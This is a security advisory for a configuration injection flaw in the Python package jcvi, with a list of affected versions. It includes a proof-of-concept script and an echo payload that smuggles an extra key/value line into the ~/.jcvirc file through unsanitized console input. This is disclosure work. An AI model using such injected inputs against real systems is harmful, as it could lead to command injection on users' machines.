GHSA-x49m-3cw7-gq5q

Suggest an improvement
Source
https://github.com/advisories/GHSA-x49m-3cw7-gq5q
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/06/GHSA-x49m-3cw7-gq5q/GHSA-x49m-3cw7-gq5q.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x49m-3cw7-gq5q
Aliases
Published
2023-06-23T21:44:35Z
Modified
2024-02-16T08:16:41.729624Z
Severity
  • 7.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
Summary
jcvi vulnerable to Configuration Injection due to unsanitized user input
Details

Summary

A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.

PoC

The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath variable which reaches the configuration file ~/.jcvirc.

        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)

I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath() function under some circumstances.

from configparser import (
    ConfigParser,
    RawConfigParser,
    NoOptionError,
    NoSectionError,
    ParsingError,
)

import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging


def is_exe(fpath):
    return op.isfile(fpath) and os.access(fpath, os.X_OK)


def which(program):
    """
    Emulates the unix which command.

    >>> which("cat")
    "/bin/cat"
    >>> which("nosuchprogram")
    """
    fpath, fname = op.split(program)
    if fpath:
        if is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = op.join(path, program)
            if is_exe(exe_file):
                return exe_file

    return None


def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
    """
    Get install locations of common binaries
    First, check ~/.jcvirc file to get the full path
    If not present, ask on the console and store
    """
    p = which(cmd)  # if in PATH, just returns it
    if p:
        return p

    PATH = "Path"
    config = RawConfigParser()
    cfg = op.expanduser(cfg)
    changed = False
    if op.exists(cfg):
        config.read(cfg)

    assert name is not None, "Need a program name"

    try:
        fullpath = config.get(PATH, name)
    except NoSectionError:
        config.add_section(PATH)
        changed = True

    try:
        fullpath = config.get(PATH, name)
    except NoOptionError:
        msg = "=== Configure path for {0} ===\n".format(name, cfg)
        if url:
            msg += "URL: {0}\n".format(url)
        msg += "[Directory that contains `{0}`]: ".format(cmd)
        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)
        changed = True

    path = op.join(op.expanduser(fullpath), cmd)
    if warn == "exit":
        try:
            assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
        except AssertionError as e:
            sys.exit("{0!s}Please verify and rerun.".format(e))

    if changed:
        configfile = open(cfg, "w")
        config.write(configfile)
        logging.debug("Configuration written to `{0}`.".format(cfg))

    return path


# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)

To run the PoC, you need to remove the config file ~/.jcvirc to emulate the first run,

# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py

image

You can notice the random key/value characters vvvvvvvv = zzzzzzzz were successfully injected.

Impact

The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

References

Affected packages

PyPI / jcvi

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
1.3.5

Affected versions

0.*

0.4.7
0.4.8
0.4.9
0.4.10
0.4.12
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.6.1
0.6.2
0.6.6
0.6.9
0.7.1
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.8.4
0.8.12
0.9.6
0.9.9
0.9.10
0.9.11
0.9.12
0.9.13
0.9.14

1.*

1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.0.11
1.0.12
1.0.13
1.0.14
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9
1.1.10
1.1.11
1.1.12
1.1.13
1.1.14
1.1.15
1.1.16
1.1.17
1.1.18
1.1.19
1.1.20
1.1.21
1.1.22
1.1.23
1.2.1
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.2.14
1.2.15
1.2.16
1.2.17
1.2.18
1.2.19
1.2.20
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5